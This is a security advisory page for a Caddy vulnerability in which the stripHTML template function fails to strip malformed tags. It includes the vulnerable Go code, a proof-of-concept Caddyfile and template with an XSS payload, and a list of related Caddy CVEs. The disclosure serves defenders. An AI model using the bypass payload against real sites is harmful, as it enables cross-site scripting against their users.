CVE-2026-52846: Caddy: stripHTML template function bypass
Summary Caddy’s stripHTML template function cannot reliably remove all HTML tags from input strings. Certain malformed HTML, such as img src=x onerror=alert(), can bypass the tag-stripping logic, potentially leaving dangerous content in the output if it is later rendered as HTML. This may allow client-side XSS in cases where untrusted strings are rendered unsafely.
Published Jun 16, 2026
Affected packages
github.com/caddyserver/caddy/v2
- Ecosystem
- Go
- Affected
- <= 2.11.3
- Fixed in
- 2.11.4
- Check
go list -m github.com/caddyserver/caddy/v2
github.com/caddyserver/caddy
- Ecosystem
- Go
- Affected
- <= 1.0.5
- Fixed in
- No patched version yet
- Check
go list -m github.com/caddyserver/caddy
Advisory details
From the GitHub Advisory Database (CC BY 4.0).
Summary
Caddy’s stripHTML template function cannot reliably remove all HTML tags from input strings. Certain malformed HTML, such as <<>img src=x onerror=alert()>, can bypass the tag-stripping logic, potentially leaving dangerous content in the output if it is later rendered as HTML. This may allow client-side XSS in cases where untrusted strings are rendered unsafely.
---
Details
The vulnerability originates from funcStripHTML in:
caddy/caddy/caddyhttp/templates/tplcontext.go
func (TemplateContext) funcStripHTML(s string) string {
var buf bytes.Buffer
var inTag, inQuotes bool
var tagStart int
for i, ch := range s {
if inTag {
if ch == '>' && !inQuotes {
inTag = false
} else if ch == '<' && !inQuotes {
// false start
buf.WriteString(s[tagStart:i])
tagStart = i
} else if ch == '"' {
inQuotes = !inQuotes
}
continue
}
if ch == '<' {
inTag = true
tagStart = i
continue
}
buf.WriteRune(ch)
}
if inTag {
// false start
buf.WriteString(s[tagStart:])
}
return buf.String()
}POC
Caddyfile setup
:8080 {
root * ./site
file_server
templates
}Template file (index.html)
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>StripHTML Bypass Test</title>
</head>
<body>
{{ stripHTML "<<>img src=x onerror=alert('XSS')>" }}
</body>
</html>The payload exploits the false start branch to smuggle a literal < back into the output, then uses the following > to terminate the parser’s tag state, leaving a valid tag behind.
Tested in v2.11.3
Impact
Malformed HTML can bypass stripHTML, potentially allowing arbitrary HTML or JavaScript to be rendered if the output is used unsafely, leading to client-side XSS.
AI Disclosure
AI assisted in writing the report description; however, the discovery of the issue has been done manually.
Credited to jmrcsnchz.
References
How this page is made: the data panel comes from the GitHub Advisory Database, CISA’s KEV catalog, the NVD and FIRST EPSS, and updates twice a day. No analysis has been written for this entry yet. Methodology
More Go vulnerabilities
All Go entriesCVE-2026-55458
Caddy has an RFC 7230 §6.1 compliance issue / Hop-by-hop headers that leak through
low2.9Oct 28, 2026CVE-2026-77281
Caddy: rewrite placeholder re-expansion, unbounded body buffer DoS, and fileHidden case-sensitivity bypass
medium6.5Sep 18, 2026CVE-2026-52844
Caddy: Windows `file_server` path authorization bypass via encoded backslash
high7.5No fixJun 16, 2026CVE-2026-52845
Caddy: FastCGI header normalization bypass in `forward_auth copy_headers`
high8.1No fixJun 16, 2026CVE-2026-45692
Caddy: Remote Admin Authorization Bypass in `/config` API via Array Index Normalization
medium5.4May 19, 2026GHSA-gx7w-56w6-g48x
Caddy: Remote Admin Authorization Bypass on PKI Endpoints via Prefix-Based Path Matching
medium4.3May 19, 2026
